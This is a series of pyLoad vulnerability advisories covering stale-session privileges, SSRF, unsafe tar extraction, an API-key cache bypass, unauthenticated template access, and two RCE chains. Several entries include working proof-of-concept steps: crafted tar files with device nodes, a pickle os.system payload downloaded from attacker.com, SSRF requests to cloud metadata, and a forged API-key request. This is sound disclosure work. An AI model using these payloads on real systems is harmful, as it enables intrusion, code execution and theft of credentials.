An admin who revokes a user's privileges through the REST API does not actually revoke them, because the session carrying those privileges is never invalidated.
pyLoad authorizes each request from values copied into the Flask session at login. setsession in webui/app/helpers.py writes role and perms once, and both loginrequired and the session branch of apikeyauth read them back from the session rather than from the database. The fix for GHSA-66hx-chf7-3332 handled this by deleting the user's session files, but the call was added only in webui/app/blueprints/jsonblueprint.py, at the three WebUI form handlers. Api.setuserpermission and Api.changepassword in core/api/init.py write to the database and return. Both are exported over /api/<func> and both appear in the OpenAPI spec the project serves at /api, so the documented administration interface takes the unpatched route.
I should concede an overlap up front. GHSA-66hx-chf7-3332 does name the core method in its own Details, pointing at setuserpermission and noting that it updates the database role and permission only. What that advisory does not do is name /api/setuserpermission as a reachable route, and it does not mention changepassword at all, which is the half I think is new.
I ran this against pyload-ng 0.5.0b3.dev101 installed from PyPI, on a real instance with real users. Demoting an admin from role 0 to role 1 with permission 0 by POSTing /api/setuserpermission updated the database immediately. The demoted user's existing session still returned 200 on /api/getuserdir, still loaded /settings, and still wrote reconnect.script through /api/setconfigvalue, which is the admin-only option CVE-2026-33509 was published for. The identical change through /json/updateusers killed that session at once: the same request returned 401 and /settings redirected to the login page.
The password path behaves the same way. After POSTing /api/changepassword for a user, their old password was refused at login and the new one accepted, but the session opened under the old password kept working. Through /json/changepassword it was dropped. So an owner who rotates a password through the API to evict somebody does not evict them.
One limit worth stating: the API-key branch of apikeyauth reads the user from the database on every request, so key-authenticated callers are not stale. This affects the session branch only.
webui.sessionlifetime defaults to 44640 minutes, so a stale session can outlive the revocation by about a month.
I think the invalidation belongs beside the database write in the core API rather than in the blueprint, so that every caller of these operations picks it up. Re-reading role and permission from the database per request would close the whole class, but that is a larger change and I have not measured what it would cost here.
I used AI assistance while investigating this, and every result above was executed by me against the released wheel with the paired control runs shown.
Summary
pyLoad ships the WindowsPhoneNotify addon, whose send() method opens an HTTP connection to a host taken directly from the plugin's pushurl configuration value. A user holding the standard non-admin SETTINGS permission can set pushurl and pushid and enable the addon through the web API, since these plugin options are not in the admin-only option set. Once enabled, the addon activates dynamically without a restart, and any completed download (download events fire globally, not per user) causes the addon to send an HTTP POST to the configured host and path. The request is made with Python's http.client.HTTPConnection, so it never passes through pyLoad's pycurl-based outbound connection guard. The attacker can therefore direct blind POST requests at internal hosts such as loopback services, RFC 1918 addresses, or the cloud metadata endpoint 169.254.169.254.
Root Cause
pyLoad enforces its outbound SSRF protection only inside the pycurl request path, where a PREREQFUNCTION callback calls isglobaladdress() on the resolved peer IP before each connection. The WindowsPhoneNotify addon uses a completely separate HTTP client (http.client.HTTPConnection) that is never subjected to that callback and performs no address validation of its own. In addition, the API config-write authorization only guards a narrow hard-coded set of plugin options, which does not include the WindowsPhoneNotify host and path fields, so a non-admin user can point the notifier at any destination.
text Affected symbols: - WindowsPhoneNotify.send (src/pyload/plugins/addons/WindowsPhoneNotify.py): opens http.client.HTTPConnection(url) on the attacker-controlled pushurl with no destination check. - Api.setconfigvalue (src/pyload/core/api/init.py): ADMINONLYPLUGINOPTIONS contains only AntiVirus entries, so a non-admin SETTINGS user can write the WindowsPhoneNotify pushurl, pushid, and enabled values.
Impact
An authenticated user with the non-admin SETTINGS permission can cause the pyLoad server to issue blind HTTP POST requests to arbitrary internal hosts, ports, and paths that the user cannot reach directly. The attacker controls the destination host and port (pushurl), the request path (pushid), and part of the XML request body (through file and package names surfaced in the notification text). Because the request is blind, response bodies are not returned; the demonstrated capability is internal service discovery, port and host probing through timing or error differences, cloud metadata endpoint reachability where the network routes it, and triggering state changes on internal HTTP endpoints that act on POST requests. Confidentiality and integrity impact are limited but real; no direct availability impact was demonstrated.
Proof of Concept
text Preconditions: an authenticated pyLoad account with the SETTINGS permission (128), a network path from the pyLoad host to the chosen internal target, and at least one download that completes to fire the notification event.
1. As a user with the SETTINGS permission, POST to /json/saveconfig with category="plugin" and config values WindowsPhoneNotify|pushurl=169.254.169.254, WindowsPhoneNotify|pushid=/latest/meta-data/, and WindowsPhoneNotify|enabled=True. 2. The write is accepted because (WindowsPhoneNotify, pushurl) is not in the admin-only option set, and setting enabled to true triggers the addon manager's dynamic activation callback, loading the plugin immediately. 3. Allow (or cause) any download to finish. The global downloadfinished event iterates activated addons and invokes the notifier.
text POST /json/saveconfig HTTP/1.1 Host: pyload.target Cookie: <authenticated session with SETTINGS> Content-Type: application/x-www-form-urlencoded
category=plugin&config=%7B%22WindowsPhoneNotify%7Cenabled%22%3A%22True%22%2C%22WindowsPhoneNotify%7Cpushurl%22%3A%22169.254.169.254%22%2C%22WindowsPhoneNotify%7Cpushid%22%3A%22%2Flatest%2Fmeta-data%2F%22%7D
text Observed result: on the next completed download, the pyLoad process opens a TCP connection to 169.254.169.254:80 and sends "POST /latest/meta-data/" with a text/xml notification body. The connection is made by http.client.HTTPConnection with no address validation.
Attack Chain
1. Exposure: The /json/saveconfig web endpoint is network reachable and gated only by loginrequired("SETTINGS"), a standard non-admin permission bit. 2. Control: The attacker supplies the notifier pushurl (host and port), pushid (request path), and enabled flag as config values. 3. Path: setconfigvalue writes the plugin options; the addon manager's config-change callback fires on enabled and activates the addon without a restart; a completed download dispatches the global downloadfinished event to activated addons. 4. Guard: The config-write check consults ADMINONLYPLUGINOPTIONS, which lists only two AntiVirus options, so the notifier fields pass; the notifier rate and client-connection checks do not block the request; the pycurl PREREQFUNCTION SSRF guard and isglobaladdress are never invoked on this path. 5. Primitive: WindowsPhoneNotify.send() calls http.client.HTTPConnection(pushurl) and issues a POST to pushid. 6. Result: A blind HTTP POST reaches an attacker-chosen internal host and path from the pyLoad server's network position.
Bypass Evidence
pyLoad's outbound SSRF protection lives entirely in the pycurl request path: isglobaladdress() is called only from the pycurl PREREQFUNCTION callback, and isglobalhost() is called only from URL parsing for user-submitted download links. Neither helper appears anywhere in the notifier dispatch path. The WindowsPhoneNotify sink uses http.client.HTTPConnection, which has no relationship to pycurl and no destination validation, so the guard is not bypassed by a payload trick but is simply not present on this code path. Attempts to disprove the finding were made and failed: the SETTINGS permission is a non-admin bit that an admin can grant independently of the admin role; the admin-only plugin option set does not contain the notifier fields; the dynamic activation callback fires on enabled and the activation and download-event handlers share a lock so there is no activation race; the notifier key-emptiness, client-connection, and rate-limit checks all pass with attacker-chosen non-empty values and default settings; and the testing plugin status is loadable (only broken is rejected).
Affected Versions
- Ecosystem: pip - Package: pyload-ng - Confirmed affected range: <= 0.5.0b3.dev101 - Latest release checked: pyload-ng 0.5.0b3.dev101 (PyPI sdist, sha256 427cfb35bc8e0db104e86a53576b2fdef99127aec178b80f58380a7977130251) - Fix status: not fixed in any released version
The vulnerable send() method and the narrow admin-only plugin option set are present in the latest published PyPI artifact, pyloadng-0.5.0b3.dev101. The project publishes only prerelease builds; there is no final 0.5.0 release, so the upper bound is the latest published prerelease. The introduction point was not bisected, so the range uses an open lower bound; the WindowsPhoneNotify addon carries an internal plugin version of 0.19, indicating a long history. No published version contains a fix.
Suggested Fix
Enforce the same outbound destination policy on every HTTP client pyLoad uses, not only the pycurl path. Before the notifier opens a connection, resolve the configured host and reject non-global or otherwise disallowed destinations using the existing isglobalhost / isglobaladdress logic (including the IPv6 transition-form handling), or route all addon HTTP traffic through a single hardened client that applies the guard. As defense in depth, add the WindowsPhoneNotify host and path options (and any other plugin option that designates a network destination) to the admin-only option set so a non-admin SETTINGS user cannot repoint them. Interim mitigation: restrict the SETTINGS permission to trusted accounts and ensure the pyLoad host cannot reach sensitive internal endpoints such as the cloud metadata service.
Reported by zx (GitHub: @manus-pi).
Summary
UnTar.safeextractall — the hardening added for GHSA-mvwx-582f-56r7 — validates member names and symlink/hardlink targets, but never checks member types, and calls tarfile.extractall without a filter=. On Python < 3.14 the default extraction filter is fullytrusted, so a crafted tar containing device or FIFO entries makes pyLoad create them on disk. When pyLoad runs as root (the official Docker deployment), a block-device member grants raw disk access — full host compromise — reachable by any low-privileged user who can trigger archive extraction (ADD to supply an archive, STATUS to invoke ExtractArchive.extractpackage).
Details
python plugins/extractors/UnTar.py:69-79 for member in tar.getmembers(): if not iswithindirectory(...) or <symlink/hardlink target checks>: # names/links only raise ArchiveError(...) tar.extractall(path, members, numericowner=numericowner) # no filter=
No member.isdev() / ischr() / isblk() / isfifo() check exists, and the pre-validation in plugins/base/extractor.py:191-263 is likewise name-only. Python's tarfile only defaults to a safe filter in 3.14; supported runtimes (3.9–3.13) honor mknod for euid=0 and create FIFOs for any euid.
PoC
bash BASE=http://127.0.0.1:8100 craft a tar with: regular marker.txt + a CHRTYPE member (major=1,minor=3) + a FIFOTYPE member python3 - <<'EOF' import tarfile, io t = tarfile.open('dev.bin','w') # name it .bin so UnTar (content-sniffed) claims it t.addfile(tarfile.TarInfo('marker.txt'), io.BytesIO(b'MARKER')) i = tarfile.TarInfo('nulldev'); i.type = tarfile.CHRTYPE; i.devmajor=1; i.devminor=3; i.mode=0o666 t.addfile(i) f = tarfile.TarInfo('pipe'); f.type = tarfile.FIFOTYPE t.addfile(f); t.close() EOF
as a low-priv user (ADD|STATUS): add a package, place the archive in its download folder, then trigger extraction curl -s -X POST "$BASE/api/addpackage" -b ed.jar -H "X-CSRFToken: $T" \ -H 'Content-Type: application/json' -d '{"name":"poc","links":["http://x/dev.bin"],"dest":1}' curl -s -X POST "$BASE/api/servicecall" -b ed.jar -H "X-CSRFToken: $T" \ -H 'Content-Type: application/json' \ -d '{"servicename":"ExtractArchive.extractpackage","arguments":["<pid>"]}'
ls -l <extract dir> → crw-rw-rw- 1 root root 1, 3 nulldev (character device created) → prw-r--r-- 1 root root pipe (FIFO created) → -rw-r--r-- 1 root root marker.txt
Negative control: the same flow with a ../evil traversal member is rejected (ArchiveError: Attempted path traversal in archive) and nothing is extracted — the GHSA-mvwx name filter works; the gap is member-type-specific. (Note: when the 7z binary is present, .tar-named files are claimed by SevenZip first by extension; the UnTar path is reached via non-mapped names — as above — content-sniffed containers, or when 7z is absent/fails.)
Impact
With pyLoad as root, a crafted archive can create block/character device nodes at arbitrary paths (raw disk read/write → host compromise), plant FIFOs (process hangs, IPC confusion), or set special bits; non-root deployments still get FIFOs and node entries in user-accessible trees.
Remediation
In safeextractall, reject (or skip) every member that is not a regular file, directory, or safe link — e.g. member.isdev() or isfifo() → ArchiveError — and pass filter="data" (Python ≥ 3.12 supports it; backport the check for older runtimes). Apply the same member-type validation in the pre-extraction validator so all extractors share it.
References
- GHSA-mvwx-582f-56r7 — the tar path-traversal fix this extends (names/links validated, member types not).
Summary
The API-key cache in checkapikey() allows an attacker to authenticate with a forged API key as long as the legitimate key for the same keyid has been used recently.
On a cache hit, the API key secret is never verified, resulting in a complete authentication bypass during the cache lifetime.
---
Affected Components
- src/pyload/core/api/init.py - Api.checkapikey()
- src/pyload/core/database/apikeydatabase.py - checkapikey() - checkkey()
The cache is used by normal API requests through:
- src/pyload/webui/app/helpers.py
which calls:
python api.checkapikey(apikey)
without providing a ttl, meaning the default 300-second cache is always enabled.
---
Root Cause
Successful API key validations are cached in:
python self.apikeycache
using the following structure:
python { keyid: (timestamp, cacheddata) }
The cache key is based only on keyid, and that value is parsed directly from the user-supplied API key rather than being obtained from a trusted lookup.
When a cache hit occurs within the TTL, checkapikey() returns:
python { "success": True, "data": cacheddata }
after checking only:
- expiresat
At no point on this execution path is the supplied secret:
text apikey[-43:]
compared against the stored key hash.
---
The actual secret verification exists only in:
python checkkey()
which correctly uses:
python hmac.comparedigest()
However, this function is only reached on a cache miss through the database layer's checkapikey() implementation.
Furthermore, the cached object cannot be used for verification because it intentionally does not include the stored key hash.
The cached record contains only:
- id - userid - name - createdat - expiresat - lastused
Since keyhash is absent, the cache lacks the information required to validate the presented secret.
As a result, once a legitimate request populates the cache, every subsequent request using the same keyid within the 300-second cache window is accepted without validating the secret.
---
Impact
keyid values are small sequential integers assigned when API keys are created (1, 2, 3, ...), making them trivial to enumerate.
The API key format is also publicly reconstructable from the source code.
An attacker therefore does not need to know any valid API key secret.
They only need a keyid whose legitimate key has been used within the previous five minutes, which is likely on an actively used deployment.
During that cache window, a forged API key follows exactly the same authentication path as a legitimate key and inherits the associated user's permissions.
This results in a complete remote authentication bypass.
I would classify the issue as Critical severity.
---
Estimated CVSS v3.1
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
(AC:H only because successful exploitation depends on the cache already containing an entry.)
---
Reproduction
1. Create an administrator account.
---
2. Generate an API key.
Example:
text pl11<43-character-secret>
where:
keyid = 1
---
3. Send a legitimate authenticated request.
bash curl \ -H "X-API-Key: pl11<real-43-char-secret>" \ http://127.0.0.1:8000/api/status
Expected response:
text HTTP/1.1 200 OK
---
4. Within 300 seconds, send the same request using a forged API key.
bash curl \ -H "X-API-Key: pl11xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx" \ http://127.0.0.1:8000/api/status
Observed response:
text HTTP/1.1 200 OK
The request succeeds even though the API key secret is entirely incorrect.
---
Control Test
If the forged API key is sent before any legitimate request has populated the cache, the server correctly returns:
text HTTP/1.1 401 Unauthorized
The only difference between the failing and succeeding forged request is whether the cache already contains an entry for that keyid.
This isolates the vulnerability specifically to the cache-hit path.
---
Suggested Fix
Cache hits should never replace secret verification.
Possible approaches include:
- Store a value derived from the complete API key (or its hash) in the cache and verify it using hmac.comparedigest() on every cache hit before returning success.
- Alternatively, key the cache using a value derived from the entire API key secret (for example, a cryptographic hash of the complete API key) rather than using only keyid.
Regardless of implementation, the security invariant should remain:
The API key secret must be validated on every authenticated request, regardless of whether the cache is hit or missed.
Summary
The /web/<path:filename> route in src/pyload/webui/app/blueprints/appblueprint.py renders Jinja2 templates without any authentication requirement. Every equivalent direct route (/logs, /settings, /queue, /dashboard, etc.) is protected by @loginrequired, but the underlying templates for all of these pages are accessible unauthenticated via this endpoint. Combined with an exception attribute typo in src/pyload/webui/app/handlers.py (exc.desc instead of exc.description), internal Jinja2 variable names are leaked in HTTP 500 response bodies to unauthenticated callers. An attacker can also enumerate all valid template names by observing 200 vs 500 response differentiation.
Details
Bug 1 — Missing authentication on /web/<path:filename>
File: src/pyload/webui/app/blueprints/appblueprint.py, lines 32–36
python @bp.route("/web/<path:filename>", endpoint="web") def render(filename): # ← no @loginrequired mimetype = mimetypes.guesstype(filename)[0] or "text/html" data = rendertemplate(filename) return flask.Response(data, mimetype=mimetype)
Every other sensitive route in the same file is protected:
python @bp.route("/logs", ...) @loginrequired("LIST") # protected
@bp.route("/settings", ...) @loginrequired("SETTINGS") # protected
@bp.route("/files", ...) @loginrequired("DOWNLOAD") # protected
The /web/<path:filename> route has no such decorator, allowing any unauthenticated HTTP client to render arbitrary templates by supplying their filename in the URL path.
Bug 2 — Exception attribute typo causes internal details in error responses
File: src/pyload/webui/app/handlers.py, lines 12–20
python def handleexceptionerror(exc): try: code = exc.code desc = exc.desc # BUG: attribute does not exist on standard exceptions except AttributeError: # always raised — falls here for every exception code = 500 desc = exc # raw exception object assigned to desc message = f"Error {code}: {desc}" # str(exc) embedded in response body return rendertemplate("error.html", messages=[message]), code
exc.desc does not exist on standard Python or Jinja2 exceptions. The AttributeError branch is always taken for template rendering failures. desc is set to the raw exception object, and str(exc) is embedded in the HTML response body returned to the unauthenticated caller. For a UndefinedError this produces 'conf' is undefined. For TemplateNotFound it produces the template filename.
PoC
Tested against pyload-ng develop branch (0.5.0b3.dev), default install, no authentication cookies or credentials used in any request.
Test 1 — Unauthenticated page render confirmed (HTTP 200) bash curl -si http://TARGET:8000/web/logs.html | grep "HTTP\|title"
Test 2 — System info page with sensitive field labels rendered unauthenticated curl -s http://TARGET:8000/web/info.html | grep "Python Version\|Installation Folder\|Config Folder\|OS Platform" html
<dt><b>Python Version:</b></dt> <dt><b>OS Platform:</b></dt> <dt><b>Installation Folder:</b></dt> <dt><b>Config Folder:</b></dt>
Test 3 — Internal Jinja2 variable name leaked in HTTP 500 body (unauthenticated) curl -si http://TARGET:8000/web/settings.html | grep "HTTP\|Error" HTTP/1.1 500 INTERNAL SERVER ERROR <p><b>Error 500: 'conf' is undefined</b></p> Test 4 — Template enumeration via response code differentiation curl -o /dev/null -sw "%{httpcode}\n" http://TARGET:8000/web/logs.html curl -o /dev/null -sw "%{httpcode}\n" http://TARGET:8000/web/info.html curl -o /dev/null -sw "%{httpcode}\n" http://TARGET:8000/web/dashboard.html curl -o /dev/null -sw "%{httpcode}\n" http://TARGET:8000/web/settings.html curl -o /dev/null -sw "%{httpcode}\n" http://TARGET:8000/web/queue.html curl -o /dev/null -sw "%{httpcode}\n" http://TARGET:8000/web/collector.html curl -o /dev/null -sw "%{httpcode}\n" http://TARGET:8000/web/filemanager.html curl -o /dev/null -sw "%{httpcode}\n" http://TARGET:8000/web/nonexistentxyz.html 200 ← logs.html (exists, renders without auth) 200 ← info.html (exists, renders without auth) 200 ← dashboard.html (exists, renders without auth) 500 ← settings.html (exists, missing auth context — leaks 'conf' is undefined) 500 ← queue.html (exists, missing auth context) 500 ← collector.html (exists, missing auth context) 500 ← filemanager.html (exists, missing auth context) 500 ← nonexistentxyz (does not exist — same 500, no differentiation on miss)
###Impact An unauthenticated remote attacker can:
Render application page templates without any credentials, bypassing the access control model enforced on all direct routes Access the system information page (info.html) exposing field structure for Python version, OS platform, pyLoad version, installation folder, config folder, and WebUI port — values are populated via JS but field labels confirm application structure Access the full log viewer UI (logs.html) and download dashboard (dashboard.html) without authentication Extract internal Jinja2 template variable names from HTTP 500 response bodies ('conf' is undefined, etc.) Enumerate all valid template filenames by observing 200 vs 500 response codes
The access control inconsistency is the core issue: the authentication model enforced on direct routes is completely bypassed via the /web/<path:filename> endpoint. Any future template that renders sensitive data server-side would be immediately exposed to unauthenticated access through this route.
Summary pyload-ng WebUI returns full Python traceback details to clients on unhandled exceptions.
Because /web/<path:filename> is reachable without authentication and renders attacker-controlled template names, an unauthenticated user can reliably trigger a server exception (for example by requesting a non-existent template) and receive internal stack traces in the HTTP response.
Details The issue is caused by the combination of:
1. Unauthenticated template-render route: - src/pyload/webui/app/blueprints/appblueprint.py:32-36 - @bp.route("/web/<path:filename>", endpoint="web") - data = rendertemplate(filename) with user-controlled filename - no @loginrequired(...) on this route
2. Global exception handler exposes traceback to response: - src/pyload/webui/app/handlers.py:14-27 - tb = traceback.formatexc() - messages.extend(tb.split('\n')) - returned in rendered error page for all exceptions
3. Error page renders all messages: - src/pyload/webui/app/themes/modern/templates/base.html:217-219 - loops over messages and prints them in response HTML
So any unhandled exception can disclose internal implementation details (stack frames, source paths, exception metadata) to remote unauthenticated clients.
This is a core behavior issue in default WebUI error handling
PoC python #!/usr/bin/env python3 from future import annotations
import re import shutil import tempfile import traceback from pathlib import Path
ROOT = Path(file).resolve().parent / "pyload" / "src" / "pyload"
def readtext(rel: str) -> str: return (ROOT / rel).readtext(encoding="utf-8")
def routehasnologinrequired(appblueprint: str) -> bool: m = re.search( r'@bp\\.route\\("/web/<path:filename>", endpoint="web"\\)\\s' r"def render\\(filename\\):(?P<body>.?)(?:\\n\\n@bp\\.route|\\Z)", appblueprint, re.DOTALL, ) if not m: return False blockstart = max(0, m.start() - 200) block = appblueprint[blockstart:m.end()] return "@loginrequired(" not in block
def main() -> None: workdir = Path(tempfile.mkdtemp(prefix="pyload-traceback-infoleak-")) try: appblueprint = readtext("webui/app/blueprints/appblueprint.py") handlers = readtext("webui/app/handlers.py") basetemplate = readtext("webui/app/themes/modern/templates/base.html")
unauthwebroute = '/web/<path:filename>' in appblueprint and routehasnologinrequired(appblueprint) usercontrolledtemplatename = "rendertemplate(filename)" in appblueprint handlerusestraceback = "traceback.formatexc()" in handlers handlerappendstrace = "messages.extend(tb.split('\\n'))" in handlers globalexceptionhandler = "(Exception, handleexceptionerror)" in handlers templaterendersmessages = "{% for message in messages %}" in basetemplate and "{{message}}" in basetemplate
leakedtracebackkeyword = False leakedexceptiontype = False try: raise RuntimeError("forced-poc-error") except Exception: tb = traceback.formatexc() messages = [f"Error 500: forced-poc-error"] messages.extend(tb.split("\\n")) joined = "\\n".join(messages) leakedtracebackkeyword = "Traceback (most recent call last)" in joined leakedexceptiontype = "RuntimeError: forced-poc-error" in joined
reprosuccess = all( [ unauthwebroute, usercontrolledtemplatename, handlerusestraceback, handlerappendstrace, globalexceptionhandler, templaterendersmessages, leakedtracebackkeyword, leakedexceptiontype, ] )
print("unauthwebroute=", unauthwebroute) print("usercontrolledtemplatename=", usercontrolledtemplatename) print("handlerusestraceback=", handlerusestraceback) print("handlerappendstrace=", handlerappendstrace) print("globalexceptionhandler=", globalexceptionhandler) print("templaterendersmessages=", templaterendersmessages) print("leakedtracebackkeyword=", leakedtracebackkeyword) print("leakedexceptiontype=", leakedexceptiontype) print("tracebackinfoleakreprosuccess=", reprosuccess) finally: shutil.rmtree(workdir, ignoreerrors=True) print("cleanupdone=True")
if name == "main": main()
Observed result: text unauthwebroute= True usercontrolledtemplatename= True handlerusestraceback= True handlerappendstrace= True globalexceptionhandler= True templaterendersmessages= True leakedtracebackkeyword= True leakedexceptiontype= True tracebackinfoleakreprosuccess= True cleanupdone=True
Impact - Vulnerability type: Information disclosure (stack trace / internal path leakage). - Attack surface: unauthenticated WebUI request path. - Exposes internal error details that help attackers map application internals and improve exploit reliability for follow-on attacks.
pyLoad is a free and open-source download manager written in Python. Versions up to and including 0.5.0b3.dev97 cache role and permission in the session at login and continues to authorize requests using these cached values, even after an admin changes the user's role/permissions in the database. As a result, an already logged-in user can keep old (revoked) privileges until logout/session expiry, enabling continued privileged actions. This is a core authorization/session-consistency issue and is not resolved by toggling an optional security feature. Commit e95804fb0d06cbb07d2ba380fc494d9ff89b68c1 contains a fix for the issue.
pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev97, the /json/packageorder, /json/linkorder, and /json/abortlink WebUI JSON endpoints enforce weaker permissions than the core API methods they invoke. This allows authenticated low-privileged users to execute MODIFY operations that should be denied by pyLoad's own permission model. This vulnerability is fixed in 0.5.0b3.dev97.
Summary
The fix for CVE-2026-33509 (GHSA-r7mc-x6x7-cqxx) added an ADMINONLYOPTIONS set to block non-admin users from modifying security-critical config options. The storagefolder option is not in this set and passes the existing path restriction because the Flask session directory is outside both PKGDIR and userdir. A user with SETTINGS and ADD permissions can redirect downloads to the Flask filesystem session store, plant a malicious pickle payload as a predictable session file, and trigger arbitrary code execution when any HTTP request arrives with the corresponding session cookie.
Required Privileges
The chain requires a single non-admin user with both SETTINGS (to change storagefolder) and ADD (to submit a download URL) permissions. These are independent bitmask flags that can be assigned together by an admin. The final RCE trigger is unauthenticated: any HTTP request with the crafted session cookie causes deserialization.
Root Cause
storagefolder at src/pyload/core/api/init.py:238-246 has a path check that blocks writing inside PKGDIR or userdir using os.path.realpath. However, Flask's filesystem session directory (/tmp/pyLoad/flask/ in the standard Docker deployment) is outside both restricted paths.
pyload configures Flask with SESSIONTYPE = "filesystem" at init.py:127. The cachelib FileSystemCache stores session files as md5("session:" + sessionid) and deserializes them with pickle.load() on every request that carries the corresponding session cookie.
Proven RCE Chain
Tested against lscr.io/linuxserver/pyload-ng:latest Docker image.
Step 1 — Change download directory to Flask session store:
POST /api/setconfigvalue {"section":"core","category":"general","option":"storagefolder","value":"/tmp/pyLoad/flask"}
The path check resolves /tmp/pyLoad/flask/ via realpath. It does not start with PKGDIR (/lsiopy/.../pyload/) or userdir (/config/). Check passes.
Step 2 — Compute the target session filename:
md5("session:ATTACKERSESSIONID") = 92912f771df217fb6fbfded6705dd47c
Flask-Session uses cachelib which stores files as md5(keyprefix + sessionid). The default key prefix is session:.
Step 3 — Host and download the malicious pickle payload:
import pickle, os, struct class RCE: def reduce(self): return (os.system, ("id > /tmp/pyload-rce-success",)) session = {"permanent": True, "rce": RCE()} payload = struct.pack("I", 0) + pickle.dumps(session, protocol=2) # struct.pack("I", 0) = cachelib timeout header (0 = never expires)
Serve as http://attacker.com/92912f771df217fb6fbfded6705dd47c and submit:
POST /api/addpackage {"name":"x","links":["http://attacker.com/92912f771df217fb6fbfded6705dd47c"],"dest":1}
The file is saved to /tmp/pyLoad/flask/92912f771df217fb6fbfded6705dd47c.
Step 4 — Trigger deserialization (unauthenticated):
curl http://target:8000/ -b "pyloadsession8000=ATTACKERSESSIONID"
The session cookie name is pyloadsession + the configured port number (init.py:128).
Flask loads the session file. cachelib reads the 4-byte timeout header, confirms the entry is not expired, and calls pickle.load(). The RCE gadget executes.
Result:
$ docker exec pyload-poc cat /tmp/pyload-rce-success uid=1000(abc) gid=1000(users) groups=1000(users)
Impact
A non-admin user with SETTINGS + ADD permissions achieves arbitrary code execution as the pyload service user. The final trigger requires no authentication. The attacker can:
- Execute arbitrary commands with the privileges of the pyload process - Read environment variables (API keys, credentials) - Access the filesystem (download history, user database) - Pivot to other network resources
Suggested Fix
Add storagefolder to the ADMINONLY set, or extend the path check to block writing to auto-consumed temporary directories (Flask session store, Jinja bytecode cache, pyload temp directory):
ADMINONLYOPTIONS = { ... ("general", "storagefolder"), # ADDED: prevents session poisoning RCE ... }
Also correct the existing wrong option names:
("webui", "sslcertfile"), # FIXED: was "sslcert" (dead code) ("webui", "sslkeyfile"), # FIXED: was "sslkey" (dead code)
Summary
PyLoad's download engine accepts arbitrary URLs without validation, enabling Server-Side Request Forgery (SSRF) attacks. An authenticated attacker can exploit this to access internal network services and exfiltrate cloud provider metadata. On DigitalOcean droplets, this exposes sensitive infrastructure data including droplet ID, network configuration, region, authentication keys, and SSH keys configured in user-data/cloud-init.
Details
The vulnerability exists in PyLoad's download package functionality (/api/addPackage endpoint), which directly passes user-supplied URLs to the download engine without validating the destination. The affected code in src/pyload/webui/app/blueprints/apiblueprint.py:
python @bp.route("/addPackage", methods=["POST"], endpoint="addpackage") @loginrequired def addpackage(): name = flask.request.form["addname"] links = flask.request.form["addlinks"].split("\n") # ... validation omitted ... api.addpackage(name, links, dest) # No URL validation
The download engine in src/pyload/core/managers/download.py accepts any URL scheme and initiates HTTP requests to arbitrary destinations, including internal network addresses and cloud metadata endpoints.
Proof of Concept
Live Demo Instance: http://143.244.141.81:8000 Credentials: pyload / pyload
- Login into the pyload application - Navigate to package tab and enter the package name and fill the Link section with the following URL
http://169.254.169.254/metadata/v1.json
<img width="1851" height="786" alt="image" src="https://github.com/user-attachments/assets/18e7aedf-7663-4a57-8f3e-5200be2c958e" />
- Now navigate to Files section and download the link.
<img width="1429" height="870" alt="image" src="https://github.com/user-attachments/assets/9b8b9cd6-afb7-461c-b058-a3cc4f26e2e6" />
- It was observed that we are able to Read the Digital Ocean Metadata
<img width="1872" height="837" alt="image" src="https://github.com/user-attachments/assets/d30d2d74-53e9-46f8-8206-894a275ac831" />
The downloaded v1.json file contains sensitive cloud infrastructure data: - Droplet ID: Unique identifier for the instance - Network Configuration: Public/private IP addresses, VPC topology - Authentication Keys: Cloud provider auth tokens - SSH Keys: Public keys configured in droplet metadata - Region and Datacenter: Infrastructure location
Impact
Vulnerability Type: Server-Side Request Forgery (SSRF) CVSS Score: 7.7 - 9.1 (High to Critical, depending on cloud deployment)
Affected Systems - All PyLoad installations (version 0.5.0 and potentially earlier) - Critical Impact on cloud deployments (AWS EC2, DigitalOcean, Google Cloud, Azure) where metadata contains: - IAM credentials (AWS) - SSH private keys (configured in user-data) - API tokens and secrets - Database credentials stored in cloud-init
Attack Requirements - Valid PyLoad user account (any role - ADMIN or USER) - Network connectivity to PyLoad instance
Security Impact 1. Cloud Metadata Theft: Complete exfiltration of instance metadata 2. Lateral Movement: Discovery and enumeration of internal network services 3. Credential Exposure: Theft of cloud IAM credentials, SSH keys, API tokens 4. Infrastructure Mapping: Network topology, IP addressing, service discovery
Remediation
Implement URL validation in the download engine: 1. Whitelist allowed URL schemes (http/https only) 2. Block requests to private IP ranges (RFC 1918, link-local addresses) 3. Block cloud metadata endpoints (169.254.169.254, metadata.google.internal, etc.) 4. Implement request destination validation before initiating downloads
pyLoad is a free and open-source download manager written in Python. From version 0.4.20 to before version 0.5.0b3.dev97, the localcheck decorator in pyLoad's ClickNLoad feature can be bypassed by any remote attacker through HTTP Host header spoofing. This allows unauthenticated remote users to access localhost-restricted endpoints, enabling them to inject arbitrary downloads, write files to the storage directory, and execute JavaScript code. This issue has been patched in version 0.5.0b3.dev97.
Summary
The setconfigvalue() API endpoint allows users with the non-admin SETTINGS permission to modify any configuration option without restriction. The reconnect.script config option controls a file path that is passed directly to subprocess.run() in the thread manager's reconnect logic. A SETTINGS user can set this to any executable file on the system, achieving Remote Code Execution. The only validation in setconfigvalue() is a hardcoded check for general.storagefolder — all other security-critical settings including reconnect.script are writable without any allowlist or path restriction.
Details
The vulnerability chain spans two components:
1. Unrestricted config write — src/pyload/core/api/init.py:210-243
python @permission(Perms.SETTINGS) @post def setconfigvalue(self, category: str, option: str, value: Any, section: str = "core") -> None: self.pyload.addonmanager.dispatchevent( "configchanged", category, option, value, section ) if section == "core": if category == "general" and option == "storagefolder": # Forbid setting the download folder inside dangerous locations # ... validation only for storagefolder ... return
self.pyload.config.set(category, option, value) # No validation for any other option
The Perms.SETTINGS permission (value 128) is a non-admin permission flag. The only hardcoded validation is for general.storagefolder. The reconnect.script option is written directly to config with no path validation, allowlist, or sanitization.
2. Arbitrary script execution — src/pyload/core/managers/threadmanager.py:157-199
python def tryreconnect(self): if not ( self.pyload.config.get("reconnect", "enabled") and self.pyload.api.istimereconnect() ): return False
# ... checks if active downloads want reconnect ...
reconnectscript = self.pyload.config.get("reconnect", "script") if not os.path.isfile(reconnectscript): self.pyload.config.set("reconnect", "enabled", False) self.pyload.log.warning(self.("Reconnect script not found!")) return
# ... reconnect logic ...
try: subprocess.run(reconnectscript) # Executes attacker-controlled path except Exception: # ...
The reconnectscript value comes directly from config. The only check is os.path.isfile() — the file must exist but there is no allowlist, no path restriction, and no signature verification.
